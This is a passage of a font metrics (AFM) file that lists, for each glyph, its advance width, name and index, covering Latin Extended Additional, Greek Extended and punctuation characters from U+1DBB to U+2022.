U 7611 ; WX 417 ; N uni1DBB ; G 2291
U 7612 ; WX 523 ; N uni1DBC ; G 2292
U 7613 ; WX 470 ; N uni1DBD ; G 2293
U 7614 ; WX 455 ; N uni1DBE ; G 2294
U 7615 ; WX 425 ; N uni1DBF ; G 2295
U 7620 ; WX 0 ; N uni1DC4 ; G 2296
U 7621 ; WX 0 ; N uni1DC5 ; G 2297
U 7622 ; WX 0 ; N uni1DC6 ; G 2298
U 7623 ; WX 0 ; N uni1DC7 ; G 2299
U 7624 ; WX 0 ; N uni1DC8 ; G 2300
U 7625 ; WX 0 ; N uni1DC9 ; G 2301
U 7680 ; WX 774 ; N uni1E00 ; G 2302
U 7681 ; WX 675 ; N uni1E01 ; G 2303
U 7682 ; WX 762 ; N uni1E02 ; G 2304
U 7683 ; WX 716 ; N uni1E03 ; G 2305
U 7684 ; WX 762 ; N uni1E04 ; G 2306
U 7685 ; WX 716 ; N uni1E05 ; G 2307
U 7686 ; WX 762 ; N uni1E06 ; G 2308
U 7687 ; WX 716 ; N uni1E07 ; G 2309
U 7688 ; WX 734 ; N uni1E08 ; G 2310
U 7689 ; WX 593 ; N uni1E09 ; G 2311
U 7690 ; WX 830 ; N uni1E0A ; G 2312
U 7691 ; WX 716 ; N uni1E0B ; G 2313
U 7692 ; WX 830 ; N uni1E0C ; G 2314
U 7693 ; WX 716 ; N uni1E0D ; G 2315
U 7694 ; WX 830 ; N uni1E0E ; G 2316
U 7695 ; WX 716 ; N uni1E0F ; G 2317
U 7696 ; WX 830 ; N uni1E10 ; G 2318
U 7697 ; WX 716 ; N uni1E11 ; G 2319
U 7698 ; WX 830 ; N uni1E12 ; G 2320
U 7699 ; WX 716 ; N uni1E13 ; G 2321
U 7700 ; WX 683 ; N uni1E14 ; G 2322
U 7701 ; WX 678 ; N uni1E15 ; G 2323
U 7702 ; WX 683 ; N uni1E16 ; G 2324
U 7703 ; WX 678 ; N uni1E17 ; G 2325
U 7704 ; WX 683 ; N uni1E18 ; G 2326
U 7705 ; WX 678 ; N uni1E19 ; G 2327
U 7706 ; WX 683 ; N uni1E1A ; G 2328
U 7707 ; WX 678 ; N uni1E1B ; G 2329
U 7708 ; WX 683 ; N uni1E1C ; G 2330
U 7709 ; WX 678 ; N uni1E1D ; G 2331
U 7710 ; WX 683 ; N uni1E1E ; G 2332
U 7711 ; WX 435 ; N uni1E1F ; G 2333
U 7712 ; WX 821 ; N uni1E20 ; G 2334
U 7713 ; WX 716 ; N uni1E21 ; G 2335
U 7714 ; WX 837 ; N uni1E22 ; G 2336
U 7715 ; WX 712 ; N uni1E23 ; G 2337
U 7716 ; WX 837 ; N uni1E24 ; G 2338
U 7717 ; WX 712 ; N uni1E25 ; G 2339
U 7718 ; WX 837 ; N uni1E26 ; G 2340
U 7719 ; WX 712 ; N uni1E27 ; G 2341
U 7720 ; WX 837 ; N uni1E28 ; G 2342
U 7721 ; WX 712 ; N uni1E29 ; G 2343
U 7722 ; WX 837 ; N uni1E2A ; G 2344
U 7723 ; WX 712 ; N uni1E2B ; G 2345
U 7724 ; WX 372 ; N uni1E2C ; G 2346
U 7725 ; WX 343 ; N uni1E2D ; G 2347
U 7726 ; WX 372 ; N uni1E2E ; G 2348
U 7727 ; WX 343 ; N uni1E2F ; G 2349
U 7728 ; WX 775 ; N uni1E30 ; G 2350
U 7729 ; WX 665 ; N uni1E31 ; G 2351
U 7730 ; WX 775 ; N uni1E32 ; G 2352
U 7731 ; WX 665 ; N uni1E33 ; G 2353
U 7732 ; WX 775 ; N uni1E34 ; G 2354
U 7733 ; WX 665 ; N uni1E35 ; G 2355
U 7734 ; WX 637 ; N uni1E36 ; G 2356
U 7735 ; WX 343 ; N uni1E37 ; G 2357
U 7736 ; WX 637 ; N uni1E38 ; G 2358
U 7737 ; WX 343 ; N uni1E39 ; G 2359
U 7738 ; WX 637 ; N uni1E3A ; G 2360
U 7739 ; WX 343 ; N uni1E3B ; G 2361
U 7740 ; WX 637 ; N uni1E3C ; G 2362
U 7741 ; WX 343 ; N uni1E3D ; G 2363
U 7742 ; WX 995 ; N uni1E3E ; G 2364
U 7743 ; WX 1042 ; N uni1E3F ; G 2365
U 7744 ; WX 995 ; N uni1E40 ; G 2366
U 7745 ; WX 1042 ; N uni1E41 ; G 2367
U 7746 ; WX 995 ; N uni1E42 ; G 2368
U 7747 ; WX 1042 ; N uni1E43 ; G 2369
U 7748 ; WX 837 ; N uni1E44 ; G 2370
U 7749 ; WX 712 ; N uni1E45 ; G 2371
U 7750 ; WX 837 ; N uni1E46 ; G 2372
U 7751 ; WX 712 ; N uni1E47 ; G 2373
U 7752 ; WX 837 ; N uni1E48 ; G 2374
U 7753 ; WX 712 ; N uni1E49 ; G 2375
U 7754 ; WX 837 ; N uni1E4A ; G 2376
U 7755 ; WX 712 ; N uni1E4B ; G 2377
U 7756 ; WX 850 ; N uni1E4C ; G 2378
U 7757 ; WX 687 ; N uni1E4D ; G 2379
U 7758 ; WX 850 ; N uni1E4E ; G 2380
U 7759 ; WX 687 ; N uni1E4F ; G 2381
U 7760 ; WX 850 ; N uni1E50 ; G 2382
U 7761 ; WX 687 ; N uni1E51 ; G 2383
U 7762 ; WX 850 ; N uni1E52 ; G 2384
U 7763 ; WX 687 ; N uni1E53 ; G 2385
U 7764 ; WX 733 ; N uni1E54 ; G 2386
U 7765 ; WX 716 ; N uni1E55 ; G 2387
U 7766 ; WX 733 ; N uni1E56 ; G 2388
U 7767 ; WX 716 ; N uni1E57 ; G 2389
U 7768 ; WX 770 ; N uni1E58 ; G 2390
U 7769 ; WX 493 ; N uni1E59 ; G 2391
U 7770 ; WX 770 ; N uni1E5A ; G 2392
U 7771 ; WX 493 ; N uni1E5B ; G 2393
U 7772 ; WX 770 ; N uni1E5C ; G 2394
U 7773 ; WX 493 ; N uni1E5D ; G 2395
U 7774 ; WX 770 ; N uni1E5E ; G 2396
U 7775 ; WX 493 ; N uni1E5F ; G 2397
U 7776 ; WX 720 ; N uni1E60 ; G 2398
U 7777 ; WX 595 ; N uni1E61 ; G 2399
U 7778 ; WX 720 ; N uni1E62 ; G 2400
U 7779 ; WX 595 ; N uni1E63 ; G 2401
U 7780 ; WX 720 ; N uni1E64 ; G 2402
U 7781 ; WX 595 ; N uni1E65 ; G 2403
U 7782 ; WX 720 ; N uni1E66 ; G 2404
U 7783 ; WX 595 ; N uni1E67 ; G 2405
U 7784 ; WX 720 ; N uni1E68 ; G 2406
U 7785 ; WX 595 ; N uni1E69 ; G 2407
U 7786 ; WX 682 ; N uni1E6A ; G 2408
U 7787 ; WX 478 ; N uni1E6B ; G 2409
U 7788 ; WX 682 ; N uni1E6C ; G 2410
U 7789 ; WX 478 ; N uni1E6D ; G 2411
U 7790 ; WX 682 ; N uni1E6E ; G 2412
U 7791 ; WX 478 ; N uni1E6F ; G 2413
U 7792 ; WX 682 ; N uni1E70 ; G 2414
U 7793 ; WX 478 ; N uni1E71 ; G 2415
U 7794 ; WX 812 ; N uni1E72 ; G 2416
U 7795 ; WX 712 ; N uni1E73 ; G 2417
U 7796 ; WX 812 ; N uni1E74 ; G 2418
U 7797 ; WX 712 ; N uni1E75 ; G 2419
U 7798 ; WX 812 ; N uni1E76 ; G 2420
U 7799 ; WX 712 ; N uni1E77 ; G 2421
U 7800 ; WX 812 ; N uni1E78 ; G 2422
U 7801 ; WX 712 ; N uni1E79 ; G 2423
U 7802 ; WX 812 ; N uni1E7A ; G 2424
U 7803 ; WX 712 ; N uni1E7B ; G 2425
U 7804 ; WX 774 ; N uni1E7C ; G 2426
U 7805 ; WX 652 ; N uni1E7D ; G 2427
U 7806 ; WX 774 ; N uni1E7E ; G 2428
U 7807 ; WX 652 ; N uni1E7F ; G 2429
U 7808 ; WX 1103 ; N Wgrave ; G 2430
U 7809 ; WX 924 ; N wgrave ; G 2431
U 7810 ; WX 1103 ; N Wacute ; G 2432
U 7811 ; WX 924 ; N wacute ; G 2433
U 7812 ; WX 1103 ; N Wdieresis ; G 2434
U 7813 ; WX 924 ; N wdieresis ; G 2435
U 7814 ; WX 1103 ; N uni1E86 ; G 2436
U 7815 ; WX 924 ; N uni1E87 ; G 2437
U 7816 ; WX 1103 ; N uni1E88 ; G 2438
U 7817 ; WX 924 ; N uni1E89 ; G 2439
U 7818 ; WX 771 ; N uni1E8A ; G 2440
U 7819 ; WX 645 ; N uni1E8B ; G 2441
U 7820 ; WX 771 ; N uni1E8C ; G 2442
U 7821 ; WX 645 ; N uni1E8D ; G 2443
U 7822 ; WX 724 ; N uni1E8E ; G 2444
U 7823 ; WX 652 ; N uni1E8F ; G 2445
U 7824 ; WX 725 ; N uni1E90 ; G 2446
U 7825 ; WX 582 ; N uni1E91 ; G 2447
U 7826 ; WX 725 ; N uni1E92 ; G 2448
U 7827 ; WX 582 ; N uni1E93 ; G 2449
U 7828 ; WX 725 ; N uni1E94 ; G 2450
U 7829 ; WX 582 ; N uni1E95 ; G 2451
U 7830 ; WX 712 ; N uni1E96 ; G 2452
U 7831 ; WX 478 ; N uni1E97 ; G 2453
U 7832 ; WX 924 ; N uni1E98 ; G 2454
U 7833 ; WX 652 ; N uni1E99 ; G 2455
U 7834 ; WX 675 ; N uni1E9A ; G 2456
U 7835 ; WX 435 ; N uni1E9B ; G 2457
U 7836 ; WX 435 ; N uni1E9C ; G 2458
U 7837 ; WX 435 ; N uni1E9D ; G 2459
U 7838 ; WX 896 ; N uni1E9E ; G 2460
U 7839 ; WX 687 ; N uni1E9F ; G 2461
U 7840 ; WX 774 ; N uni1EA0 ; G 2462
U 7841 ; WX 675 ; N uni1EA1 ; G 2463
U 7842 ; WX 774 ; N uni1EA2 ; G 2464
U 7843 ; WX 675 ; N uni1EA3 ; G 2465
U 7844 ; WX 774 ; N uni1EA4 ; G 2466
U 7845 ; WX 675 ; N uni1EA5 ; G 2467
U 7846 ; WX 774 ; N uni1EA6 ; G 2468
U 7847 ; WX 675 ; N uni1EA7 ; G 2469
U 7848 ; WX 774 ; N uni1EA8 ; G 2470
U 7849 ; WX 675 ; N uni1EA9 ; G 2471
U 7850 ; WX 774 ; N uni1EAA ; G 2472
U 7851 ; WX 675 ; N uni1EAB ; G 2473
U 7852 ; WX 774 ; N uni1EAC ; G 2474
U 7853 ; WX 675 ; N uni1EAD ; G 2475
U 7854 ; WX 774 ; N uni1EAE ; G 2476
U 7855 ; WX 675 ; N uni1EAF ; G 2477
U 7856 ; WX 774 ; N uni1EB0 ; G 2478
U 7857 ; WX 675 ; N uni1EB1 ; G 2479
U 7858 ; WX 774 ; N uni1EB2 ; G 2480
U 7859 ; WX 675 ; N uni1EB3 ; G 2481
U 7860 ; WX 774 ; N uni1EB4 ; G 2482
U 7861 ; WX 675 ; N uni1EB5 ; G 2483
U 7862 ; WX 774 ; N uni1EB6 ; G 2484
U 7863 ; WX 675 ; N uni1EB7 ; G 2485
U 7864 ; WX 683 ; N uni1EB8 ; G 2486
U 7865 ; WX 678 ; N uni1EB9 ; G 2487
U 7866 ; WX 683 ; N uni1EBA ; G 2488
U 7867 ; WX 678 ; N uni1EBB ; G 2489
U 7868 ; WX 683 ; N uni1EBC ; G 2490
U 7869 ; WX 678 ; N uni1EBD ; G 2491
U 7870 ; WX 683 ; N uni1EBE ; G 2492
U 7871 ; WX 678 ; N uni1EBF ; G 2493
U 7872 ; WX 683 ; N uni1EC0 ; G 2494
U 7873 ; WX 678 ; N uni1EC1 ; G 2495
U 7874 ; WX 683 ; N uni1EC2 ; G 2496
U 7875 ; WX 678 ; N uni1EC3 ; G 2497
U 7876 ; WX 683 ; N uni1EC4 ; G 2498
U 7877 ; WX 678 ; N uni1EC5 ; G 2499
U 7878 ; WX 683 ; N uni1EC6 ; G 2500
U 7879 ; WX 678 ; N uni1EC7 ; G 2501
U 7880 ; WX 372 ; N uni1EC8 ; G 2502
U 7881 ; WX 343 ; N uni1EC9 ; G 2503
U 7882 ; WX 372 ; N uni1ECA ; G 2504
U 7883 ; WX 343 ; N uni1ECB ; G 2505
U 7884 ; WX 850 ; N uni1ECC ; G 2506
U 7885 ; WX 687 ; N uni1ECD ; G 2507
U 7886 ; WX 850 ; N uni1ECE ; G 2508
U 7887 ; WX 687 ; N uni1ECF ; G 2509
U 7888 ; WX 850 ; N uni1ED0 ; G 2510
U 7889 ; WX 687 ; N uni1ED1 ; G 2511
U 7890 ; WX 850 ; N uni1ED2 ; G 2512
U 7891 ; WX 687 ; N uni1ED3 ; G 2513
U 7892 ; WX 850 ; N uni1ED4 ; G 2514
U 7893 ; WX 687 ; N uni1ED5 ; G 2515
U 7894 ; WX 850 ; N uni1ED6 ; G 2516
U 7895 ; WX 687 ; N uni1ED7 ; G 2517
U 7896 ; WX 850 ; N uni1ED8 ; G 2518
U 7897 ; WX 687 ; N uni1ED9 ; G 2519
U 7898 ; WX 874 ; N uni1EDA ; G 2520
U 7899 ; WX 687 ; N uni1EDB ; G 2521
U 7900 ; WX 874 ; N uni1EDC ; G 2522
U 7901 ; WX 687 ; N uni1EDD ; G 2523
U 7902 ; WX 874 ; N uni1EDE ; G 2524
U 7903 ; WX 687 ; N uni1EDF ; G 2525
U 7904 ; WX 874 ; N uni1EE0 ; G 2526
U 7905 ; WX 687 ; N uni1EE1 ; G 2527
U 7906 ; WX 874 ; N uni1EE2 ; G 2528
U 7907 ; WX 687 ; N uni1EE3 ; G 2529
U 7908 ; WX 812 ; N uni1EE4 ; G 2530
U 7909 ; WX 712 ; N uni1EE5 ; G 2531
U 7910 ; WX 812 ; N uni1EE6 ; G 2532
U 7911 ; WX 712 ; N uni1EE7 ; G 2533
U 7912 ; WX 835 ; N uni1EE8 ; G 2534
U 7913 ; WX 712 ; N uni1EE9 ; G 2535
U 7914 ; WX 835 ; N uni1EEA ; G 2536
U 7915 ; WX 712 ; N uni1EEB ; G 2537
U 7916 ; WX 835 ; N uni1EEC ; G 2538
U 7917 ; WX 712 ; N uni1EED ; G 2539
U 7918 ; WX 835 ; N uni1EEE ; G 2540
U 7919 ; WX 712 ; N uni1EEF ; G 2541
U 7920 ; WX 835 ; N uni1EF0 ; G 2542
U 7921 ; WX 712 ; N uni1EF1 ; G 2543
U 7922 ; WX 724 ; N Ygrave ; G 2544
U 7923 ; WX 652 ; N ygrave ; G 2545
U 7924 ; WX 724 ; N uni1EF4 ; G 2546
U 7925 ; WX 652 ; N uni1EF5 ; G 2547
U 7926 ; WX 724 ; N uni1EF6 ; G 2548
U 7927 ; WX 652 ; N uni1EF7 ; G 2549
U 7928 ; WX 724 ; N uni1EF8 ; G 2550
U 7929 ; WX 652 ; N uni1EF9 ; G 2551
U 7930 ; WX 953 ; N uni1EFA ; G 2552
U 7931 ; WX 644 ; N uni1EFB ; G 2553
U 7936 ; WX 687 ; N uni1F00 ; G 2554
U 7937 ; WX 687 ; N uni1F01 ; G 2555
U 7938 ; WX 687 ; N uni1F02 ; G 2556
U 7939 ; WX 687 ; N uni1F03 ; G 2557
U 7940 ; WX 687 ; N uni1F04 ; G 2558
U 7941 ; WX 687 ; N uni1F05 ; G 2559
U 7942 ; WX 687 ; N uni1F06 ; G 2560
U 7943 ; WX 687 ; N uni1F07 ; G 2561
U 7944 ; WX 774 ; N uni1F08 ; G 2562
U 7945 ; WX 774 ; N uni1F09 ; G 2563
U 7946 ; WX 1041 ; N uni1F0A ; G 2564
U 7947 ; WX 1043 ; N uni1F0B ; G 2565
U 7948 ; WX 935 ; N uni1F0C ; G 2566
U 7949 ; WX 963 ; N uni1F0D ; G 2567
U 7950 ; WX 835 ; N uni1F0E ; G 2568
U 7951 ; WX 859 ; N uni1F0F ; G 2569
U 7952 ; WX 557 ; N uni1F10 ; G 2570
U 7953 ; WX 557 ; N uni1F11 ; G 2571
U 7954 ; WX 557 ; N uni1F12 ; G 2572
U 7955 ; WX 557 ; N uni1F13 ; G 2573
U 7956 ; WX 557 ; N uni1F14 ; G 2574
U 7957 ; WX 557 ; N uni1F15 ; G 2575
U 7960 ; WX 792 ; N uni1F18 ; G 2576
U 7961 ; WX 794 ; N uni1F19 ; G 2577
U 7962 ; WX 1100 ; N uni1F1A ; G 2578
U 7963 ; WX 1096 ; N uni1F1B ; G 2579
U 7964 ; WX 1023 ; N uni1F1C ; G 2580
U 7965 ; WX 1052 ; N uni1F1D ; G 2581
U 7968 ; WX 712 ; N uni1F20 ; G 2582
U 7969 ; WX 712 ; N uni1F21 ; G 2583
U 7970 ; WX 712 ; N uni1F22 ; G 2584
U 7971 ; WX 712 ; N uni1F23 ; G 2585
U 7972 ; WX 712 ; N uni1F24 ; G 2586
U 7973 ; WX 712 ; N uni1F25 ; G 2587
U 7974 ; WX 712 ; N uni1F26 ; G 2588
U 7975 ; WX 712 ; N uni1F27 ; G 2589
U 7976 ; WX 945 ; N uni1F28 ; G 2590
U 7977 ; WX 951 ; N uni1F29 ; G 2591
U 7978 ; WX 1250 ; N uni1F2A ; G 2592
U 7979 ; WX 1250 ; N uni1F2B ; G 2593
U 7980 ; WX 1180 ; N uni1F2C ; G 2594
U 7981 ; WX 1206 ; N uni1F2D ; G 2595
U 7982 ; WX 1054 ; N uni1F2E ; G 2596
U 7983 ; WX 1063 ; N uni1F2F ; G 2597
U 7984 ; WX 390 ; N uni1F30 ; G 2598
U 7985 ; WX 390 ; N uni1F31 ; G 2599
U 7986 ; WX 390 ; N uni1F32 ; G 2600
U 7987 ; WX 390 ; N uni1F33 ; G 2601
U 7988 ; WX 390 ; N uni1F34 ; G 2602
U 7989 ; WX 390 ; N uni1F35 ; G 2603
U 7990 ; WX 390 ; N uni1F36 ; G 2604
U 7991 ; WX 390 ; N uni1F37 ; G 2605
U 7992 ; WX 483 ; N uni1F38 ; G 2606
U 7993 ; WX 489 ; N uni1F39 ; G 2607
U 7994 ; WX 777 ; N uni1F3A ; G 2608
U 7995 ; WX 785 ; N uni1F3B ; G 2609
U 7996 ; WX 712 ; N uni1F3C ; G 2610
U 7997 ; WX 738 ; N uni1F3D ; G 2611
U 7998 ; WX 604 ; N uni1F3E ; G 2612
U 7999 ; WX 604 ; N uni1F3F ; G 2613
U 8000 ; WX 687 ; N uni1F40 ; G 2614
U 8001 ; WX 687 ; N uni1F41 ; G 2615
U 8002 ; WX 687 ; N uni1F42 ; G 2616
U 8003 ; WX 687 ; N uni1F43 ; G 2617
U 8004 ; WX 687 ; N uni1F44 ; G 2618
U 8005 ; WX 687 ; N uni1F45 ; G 2619
U 8008 ; WX 892 ; N uni1F48 ; G 2620
U 8009 ; WX 933 ; N uni1F49 ; G 2621
U 8010 ; WX 1221 ; N uni1F4A ; G 2622
U 8011 ; WX 1224 ; N uni1F4B ; G 2623
U 8012 ; WX 1053 ; N uni1F4C ; G 2624
U 8013 ; WX 1082 ; N uni1F4D ; G 2625
U 8016 ; WX 675 ; N uni1F50 ; G 2626
U 8017 ; WX 675 ; N uni1F51 ; G 2627
U 8018 ; WX 675 ; N uni1F52 ; G 2628
U 8019 ; WX 675 ; N uni1F53 ; G 2629
U 8020 ; WX 675 ; N uni1F54 ; G 2630
U 8021 ; WX 675 ; N uni1F55 ; G 2631
U 8022 ; WX 675 ; N uni1F56 ; G 2632
U 8023 ; WX 675 ; N uni1F57 ; G 2633
U 8025 ; WX 930 ; N uni1F59 ; G 2634
U 8027 ; WX 1184 ; N uni1F5B ; G 2635
U 8029 ; WX 1199 ; N uni1F5D ; G 2636
U 8031 ; WX 1049 ; N uni1F5F ; G 2637
U 8032 ; WX 869 ; N uni1F60 ; G 2638
U 8033 ; WX 869 ; N uni1F61 ; G 2639
U 8034 ; WX 869 ; N uni1F62 ; G 2640
U 8035 ; WX 869 ; N uni1F63 ; G 2641
U 8036 ; WX 869 ; N uni1F64 ; G 2642
U 8037 ; WX 869 ; N uni1F65 ; G 2643
U 8038 ; WX 869 ; N uni1F66 ; G 2644
U 8039 ; WX 869 ; N uni1F67 ; G 2645
U 8040 ; WX 909 ; N uni1F68 ; G 2646
U 8041 ; WX 958 ; N uni1F69 ; G 2647
U 8042 ; WX 1246 ; N uni1F6A ; G 2648
U 8043 ; WX 1251 ; N uni1F6B ; G 2649
U 8044 ; WX 1076 ; N uni1F6C ; G 2650
U 8045 ; WX 1105 ; N uni1F6D ; G 2651
U 8046 ; WX 1028 ; N uni1F6E ; G 2652
U 8047 ; WX 1076 ; N uni1F6F ; G 2653
U 8048 ; WX 687 ; N uni1F70 ; G 2654
U 8049 ; WX 687 ; N uni1F71 ; G 2655
U 8050 ; WX 557 ; N uni1F72 ; G 2656
U 8051 ; WX 557 ; N uni1F73 ; G 2657
U 8052 ; WX 712 ; N uni1F74 ; G 2658
U 8053 ; WX 712 ; N uni1F75 ; G 2659
U 8054 ; WX 390 ; N uni1F76 ; G 2660
U 8055 ; WX 390 ; N uni1F77 ; G 2661
U 8056 ; WX 687 ; N uni1F78 ; G 2662
U 8057 ; WX 687 ; N uni1F79 ; G 2663
U 8058 ; WX 675 ; N uni1F7A ; G 2664
U 8059 ; WX 675 ; N uni1F7B ; G 2665
U 8060 ; WX 869 ; N uni1F7C ; G 2666
U 8061 ; WX 869 ; N uni1F7D ; G 2667
U 8064 ; WX 687 ; N uni1F80 ; G 2668
U 8065 ; WX 687 ; N uni1F81 ; G 2669
U 8066 ; WX 687 ; N uni1F82 ; G 2670
U 8067 ; WX 687 ; N uni1F83 ; G 2671
U 8068 ; WX 687 ; N uni1F84 ; G 2672
U 8069 ; WX 687 ; N uni1F85 ; G 2673
U 8070 ; WX 687 ; N uni1F86 ; G 2674
U 8071 ; WX 687 ; N uni1F87 ; G 2675
U 8072 ; WX 774 ; N uni1F88 ; G 2676
U 8073 ; WX 774 ; N uni1F89 ; G 2677
U 8074 ; WX 1041 ; N uni1F8A ; G 2678
U 8075 ; WX 1043 ; N uni1F8B ; G 2679
U 8076 ; WX 935 ; N uni1F8C ; G 2680
U 8077 ; WX 963 ; N uni1F8D ; G 2681
U 8078 ; WX 835 ; N uni1F8E ; G 2682
U 8079 ; WX 859 ; N uni1F8F ; G 2683
U 8080 ; WX 712 ; N uni1F90 ; G 2684
U 8081 ; WX 712 ; N uni1F91 ; G 2685
U 8082 ; WX 712 ; N uni1F92 ; G 2686
U 8083 ; WX 712 ; N uni1F93 ; G 2687
U 8084 ; WX 712 ; N uni1F94 ; G 2688
U 8085 ; WX 712 ; N uni1F95 ; G 2689
U 8086 ; WX 712 ; N uni1F96 ; G 2690
U 8087 ; WX 712 ; N uni1F97 ; G 2691
U 8088 ; WX 945 ; N uni1F98 ; G 2692
U 8089 ; WX 951 ; N uni1F99 ; G 2693
U 8090 ; WX 1250 ; N uni1F9A ; G 2694
U 8091 ; WX 1250 ; N uni1F9B ; G 2695
U 8092 ; WX 1180 ; N uni1F9C ; G 2696
U 8093 ; WX 1206 ; N uni1F9D ; G 2697
U 8094 ; WX 1054 ; N uni1F9E ; G 2698
U 8095 ; WX 1063 ; N uni1F9F ; G 2699
U 8096 ; WX 869 ; N uni1FA0 ; G 2700
U 8097 ; WX 869 ; N uni1FA1 ; G 2701
U 8098 ; WX 869 ; N uni1FA2 ; G 2702
U 8099 ; WX 869 ; N uni1FA3 ; G 2703
U 8100 ; WX 869 ; N uni1FA4 ; G 2704
U 8101 ; WX 869 ; N uni1FA5 ; G 2705
U 8102 ; WX 869 ; N uni1FA6 ; G 2706
U 8103 ; WX 869 ; N uni1FA7 ; G 2707
U 8104 ; WX 909 ; N uni1FA8 ; G 2708
U 8105 ; WX 958 ; N uni1FA9 ; G 2709
U 8106 ; WX 1246 ; N uni1FAA ; G 2710
U 8107 ; WX 1251 ; N uni1FAB ; G 2711
U 8108 ; WX 1076 ; N uni1FAC ; G 2712
U 8109 ; WX 1105 ; N uni1FAD ; G 2713
U 8110 ; WX 1028 ; N uni1FAE ; G 2714
U 8111 ; WX 1076 ; N uni1FAF ; G 2715
U 8112 ; WX 687 ; N uni1FB0 ; G 2716
U 8113 ; WX 687 ; N uni1FB1 ; G 2717
U 8114 ; WX 687 ; N uni1FB2 ; G 2718
U 8115 ; WX 687 ; N uni1FB3 ; G 2719
U 8116 ; WX 687 ; N uni1FB4 ; G 2720
U 8118 ; WX 687 ; N uni1FB6 ; G 2721
U 8119 ; WX 687 ; N uni1FB7 ; G 2722
U 8120 ; WX 774 ; N uni1FB8 ; G 2723
U 8121 ; WX 774 ; N uni1FB9 ; G 2724
U 8122 ; WX 876 ; N uni1FBA ; G 2725
U 8123 ; WX 797 ; N uni1FBB ; G 2726
U 8124 ; WX 774 ; N uni1FBC ; G 2727
U 8125 ; WX 500 ; N uni1FBD ; G 2728
U 8126 ; WX 500 ; N uni1FBE ; G 2729
U 8127 ; WX 500 ; N uni1FBF ; G 2730
U 8128 ; WX 500 ; N uni1FC0 ; G 2731
U 8129 ; WX 500 ; N uni1FC1 ; G 2732
U 8130 ; WX 712 ; N uni1FC2 ; G 2733
U 8131 ; WX 712 ; N uni1FC3 ; G 2734
U 8132 ; WX 712 ; N uni1FC4 ; G 2735
U 8134 ; WX 712 ; N uni1FC6 ; G 2736
U 8135 ; WX 712 ; N uni1FC7 ; G 2737
U 8136 ; WX 929 ; N uni1FC8 ; G 2738
U 8137 ; WX 846 ; N uni1FC9 ; G 2739
U 8138 ; WX 1080 ; N uni1FCA ; G 2740
U 8139 ; WX 1009 ; N uni1FCB ; G 2741
U 8140 ; WX 837 ; N uni1FCC ; G 2742
U 8141 ; WX 500 ; N uni1FCD ; G 2743
U 8142 ; WX 500 ; N uni1FCE ; G 2744
U 8143 ; WX 500 ; N uni1FCF ; G 2745
U 8144 ; WX 390 ; N uni1FD0 ; G 2746
U 8145 ; WX 390 ; N uni1FD1 ; G 2747
U 8146 ; WX 390 ; N uni1FD2 ; G 2748
U 8147 ; WX 390 ; N uni1FD3 ; G 2749
U 8150 ; WX 390 ; N uni1FD6 ; G 2750
U 8151 ; WX 390 ; N uni1FD7 ; G 2751
U 8152 ; WX 372 ; N uni1FD8 ; G 2752
U 8153 ; WX 372 ; N uni1FD9 ; G 2753
U 8154 ; WX 621 ; N uni1FDA ; G 2754
U 8155 ; WX 563 ; N uni1FDB ; G 2755
U 8157 ; WX 500 ; N uni1FDD ; G 2756
U 8158 ; WX 500 ; N uni1FDE ; G 2757
U 8159 ; WX 500 ; N uni1FDF ; G 2758
U 8160 ; WX 675 ; N uni1FE0 ; G 2759
U 8161 ; WX 675 ; N uni1FE1 ; G 2760
U 8162 ; WX 675 ; N uni1FE2 ; G 2761
U 8163 ; WX 675 ; N uni1FE3 ; G 2762
U 8164 ; WX 716 ; N uni1FE4 ; G 2763
U 8165 ; WX 716 ; N uni1FE5 ; G 2764
U 8166 ; WX 675 ; N uni1FE6 ; G 2765
U 8167 ; WX 675 ; N uni1FE7 ; G 2766
U 8168 ; WX 724 ; N uni1FE8 ; G 2767
U 8169 ; WX 724 ; N uni1FE9 ; G 2768
U 8170 ; WX 1020 ; N uni1FEA ; G 2769
U 8171 ; WX 980 ; N uni1FEB ; G 2770
U 8172 ; WX 838 ; N uni1FEC ; G 2771
U 8173 ; WX 500 ; N uni1FED ; G 2772
U 8174 ; WX 500 ; N uni1FEE ; G 2773
U 8175 ; WX 500 ; N uni1FEF ; G 2774
U 8178 ; WX 869 ; N uni1FF2 ; G 2775
U 8179 ; WX 869 ; N uni1FF3 ; G 2776
U 8180 ; WX 869 ; N uni1FF4 ; G 2777
U 8182 ; WX 869 ; N uni1FF6 ; G 2778
U 8183 ; WX 869 ; N uni1FF7 ; G 2779
U 8184 ; WX 1065 ; N uni1FF8 ; G 2780
U 8185 ; WX 891 ; N uni1FF9 ; G 2781
U 8186 ; WX 1084 ; N uni1FFA ; G 2782
U 8187 ; WX 894 ; N uni1FFB ; G 2783
U 8188 ; WX 850 ; N uni1FFC ; G 2784
U 8189 ; WX 500 ; N uni1FFD ; G 2785
U 8190 ; WX 500 ; N uni1FFE ; G 2786
U 8192 ; WX 500 ; N uni2000 ; G 2787
U 8193 ; WX 1000 ; N uni2001 ; G 2788
U 8194 ; WX 500 ; N uni2002 ; G 2789
U 8195 ; WX 1000 ; N uni2003 ; G 2790
U 8196 ; WX 330 ; N uni2004 ; G 2791
U 8197 ; WX 250 ; N uni2005 ; G 2792
U 8198 ; WX 167 ; N uni2006 ; G 2793
U 8199 ; WX 696 ; N uni2007 ; G 2794
U 8200 ; WX 380 ; N uni2008 ; G 2795
U 8201 ; WX 200 ; N uni2009 ; G 2796
U 8202 ; WX 100 ; N uni200A ; G 2797
U 8203 ; WX 0 ; N uni200B ; G 2798
U 8204 ; WX 0 ; N uni200C ; G 2799
U 8205 ; WX 0 ; N uni200D ; G 2800
U 8206 ; WX 0 ; N uni200E ; G 2801
U 8207 ; WX 0 ; N uni200F ; G 2802
U 8208 ; WX 415 ; N uni2010 ; G 2803
U 8209 ; WX 415 ; N uni2011 ; G 2804
U 8210 ; WX 696 ; N figuredash ; G 2805
U 8211 ; WX 500 ; N endash ; G 2806
U 8212 ; WX 1000 ; N emdash ; G 2807
U 8213 ; WX 1000 ; N uni2015 ; G 2808
U 8214 ; WX 500 ; N uni2016 ; G 2809
U 8215 ; WX 500 ; N underscoredbl ; G 2810
U 8216 ; WX 380 ; N quoteleft ; G 2811
U 8217 ; WX 380 ; N quoteright ; G 2812
U 8218 ; WX 380 ; N quotesinglbase ; G 2813
U 8219 ; WX 380 ; N quotereversed ; G 2814
U 8220 ; WX 657 ; N quotedblleft ; G 2815
U 8221 ; WX 657 ; N quotedblright ; G 2816
U 8222 ; WX 657 ; N quotedblbase ; G 2817
U 8223 ; WX 657 ; N uni201F ; G 2818
U 8224 ; WX 500 ; N dagger ; G 2819
U 8225 ; WX 500 ; N daggerdbl ; G 2820
U 8226 ; WX 639 ; N bullet ; G 2821
